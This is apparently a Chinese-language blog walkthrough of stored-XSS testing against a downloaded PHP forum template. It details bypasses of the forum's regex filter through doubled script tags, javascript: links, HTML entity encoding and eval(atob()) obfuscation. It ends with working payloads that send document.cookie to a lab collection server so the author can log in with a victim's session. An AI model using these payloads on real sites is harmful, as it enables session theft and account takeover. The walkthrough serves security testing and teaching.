目录
网上下载了一个论坛的模板源码。是用PHP写的。闲来无事便对其测试了一番。论坛上最忌讳的漏洞之一就是存储型XSS了。本文记录一下测试的过程和思路。也许能对XSS的攻击思路有些启发把
本次实验还有视频哦:https://www.bilibili.com/video/av52266043
论坛模板源码:
链接:https://pan.baidu.com/s/1j15FJqX1FGcdX-m2CbZqMg
提取码:3j3v
XSS嘛。。。弹窗肯定事不够的了。那肯定要拿cookie才叫一个完整的XSS过程嘛=。=
首先先写好接收cookie服务器的php代码。很简单。如下:
接着我们来看看这个论坛系统吧
主页面没有什么东西。我们点进里面的帖子去看看。
可以发表评论。我们提交一下查看它请求的接口是什么。
发现是发送到了run.php中。我们看看源码。
发现它对输入的参数run进行了引用。也就是说run这个参数发的值是什么就加载对应的php文件。这里run的值为write_replay。我们找到这个文件。这里猜测就是处理回复的地方了。我们可以直接搜索Form表单提交的参数。搜索content。
这些代码都是一些常规的判断代码。唯一引起我注意的就是这个filter2函数。filter就是过滤的意思。那么自然这个函数就是过滤用的。我们这个测试是测试其能否被存储型XSS攻击。所以过滤的内容很值得我们关注。
进入这个函数。看到它过滤了一大堆东西。如下:
可以看到。我们常规注入的字符。诸如script、iframe、onerror等都被过滤了。但是仔细一看。
绕过的第一个思路(慎点,失败了。。。)
这条正则大概意思就是。(我就拿script来说)如果输入中有<script>。那么就把<script>替换成空。
但是这个正则是只匹配<script>。所以我们可以通过双写<script>来绕过。
绕过原理:
当我输入 <scr<script>ipt>时。php将红色字的<script>替换为空。那么这里黑色字的<scr和ipt>合起来就是一个新的<script>。这样便可绕过了。
我们来测试一下。
Payload:
<scr<script>ipt>alert(1)</scr</script>ipt>
成功弹窗。
构建拿cookie的Payload思路:
拿cookie很简单。doucment.cookie即可。但是要怎么发送呢。
方法:直接GET请求。通过img的src来请求。
通过GET请求的话。那就是要找一个img。然后修改其src就好了。很自然的想到这样一个payload原型:
<img src=”1” id=”img”><script>document.getElementById(“img”).src=http://xxx.php?cookie= + document.cookie</script>
但是我们查看下源码发现。它过滤了id=以及后面的字符串。
写个实例更直观一些。
所以我们自己直接创建一个img是不可行的了。不过这样就算行不通了吗?no,还没完呢。
既然直接写入一个img是不可以的。那么这里我又想到了两个绕过思路。
- 不写入img。直接用它网站自带的img。
- 直接写img的id不行。那我们用js代码生成一个img。这样子我们就可以直接控制它的src了。
我们还是先来看第一个方法把。
我们在测试。可以在开发者工具中的console里面写js代码。这样子能很方便的测试我们的代码。
找图片:
看到这个网页中有两张图片。我们随便用一张即可。
原始payload:
<script>document.getElementsByTagName("img")[0].src="http://192.168.27.128/testXSS/get.php?v="+document.cookie</script>
使用的payload为:
<scr<script>ipt>document.getElementsByTagName("img")[0].src="http://192.168.27.128/testXSS/get.php?v="+document.cookie</scr</script>ipt>
但是程序并没有如愿执行。我们看到经过处理后输出的内容为
看到引号和中括号都被html实体编码了。这样子看来。。。好像又行不通了。。。
反正我现在没有想到要怎么过这个html实体编码。。。在<script>标签里面是不能使用html实体编码的。除非是在html里面,在html里面就不受html实体编码的限制。且html里面可以用javascript: 伪协议来执行js代码。这个javascript:伪协议是绕过的第二个方法。请看下面吧。
绕过的第二个思路(成功的)
我们看到代码中过滤了全部的主动的触发器。像onerror、onload等。它不只是单纯的去除掉这些字符串。而是连同引号中的字符串一起删掉了。我们可以测试一下。
所以我们用不了直接触发的触发器了。不过html中有一个东西,叫做javascript伪协议。这个东西可以写在标签里面。执行js代码。可以用在a标签的href中。
利用javascript伪协议。我们可以构建这样的一个payload:
原始payload:
<a href='javascript:alert(1) '>click me</a>
但是这个php过滤了javascript:。
不过幸运的是。我们可以通过html实体编码来绕过这个检测。因为是显示在html中的。所以html实体编码能够被正常解析。
编码后payload:
<a href='javascript:alert(1)'>click me</a>
成功弹窗。
这时候我们要想拿cookie的话。就要构建一个get请求。一般不用ajax。。写的东西太多了。可以使用图片的src来进行get请求。
原始paylaod:
<img src="1" id="img"><a href='javascript:document.getElementById("img").src="http://192.168.27.128/testXSS/get.php?v="+document.cookie'>click me</a>
但是这个网站php过滤了id=。所以就不能通过输入img的方式来创建一个图片了。
但是。发送请求的方式就是修改图片的src为接收端的url。那么,我们可以用这个网站自带的图片啊。
修改版payload:
<a href='javascript:document.getElementsByTagName("img")[0].src="http://192.168.27.128/testXSS/get.php?v="+document.cookie'>click me</a>
实际使用一下。发现:
我们的document不见了。而且都跑到了javascript:的引号外面。
php过滤了这些字符串。。。
那么绕过的方式就只能是进行编码了。看了下代码。并没有过滤eval()、atob()。所以我们下一个版本的payload的思路就是先base64编码。然后再eval(base64解码)
payload:
先使用btoa转换成base64编码
<a href='javascript:eval(atob("ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImltZyIpWzBdLnNyYz0iaHR0cDovLzE5Mi4xNjguMjcuMTI4L3Rlc3RYU1MvZ2V0LnBocD92PSIgKyBkb2N1bWVudC5jb29raWU"))'>click me</a>
成功包含在了javascript里面。
但是。。。点击的时候没有反应。。出了一个报错。。
我们再仔细看看上面输出的我们的Payload。发现atob的括号里面我们之前写的双引号被吃掉了。。。
知道原因就好办了。把双引号转成html实体编码即可绕过。
payload:
<a href='javascript:eval(atob("ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImltZyIpWzBdLnNyYz0iaHR0cDovLzE5Mi4xNjguMjcuMTI4L3Rlc3RYU1MvZ2V0LnBocD92PSIgKyBkb2N1bWVudC5jb29raWU"))'>click me</a>
点击我们创建的click me。跳转到了一个新标签页。。
我们接收cookie的服务端也没有接收到。。。
我的猜测是a标签跳转的时候。新开了一个标签页。就没有了之前的那些图片了。自然无法通过修改src达到请求的目的。
那么既然a标签会跳转。那么我们在输入的时候用js代码创建一个图片不就可以了吗?
原始payload:
<a href='javascript:var img = document.createElement("img");img.src="http://192.168.27.128/testXSS/get.php?v=" + document.cookie;document.getElementsByTagName("body")[0].appendChild(img)'>click me</a>
payload:
<a href='javascript:eval(atob("dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpO2ltZy5zcmM9Imh0dHA6Ly8xOTIuMTY4LjI3LjEyOC90ZXN0WFNTL2dldC5waHA/dj0iICsgZG9jdW1lbnQuY29va2llO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQoaW1nKQ=="))'>click me</a>
点击clike me。成功获取cookie。
有了cookie之后再用firefox浏览器增加一个cookie。即可通过受害者的凭证登陆啦。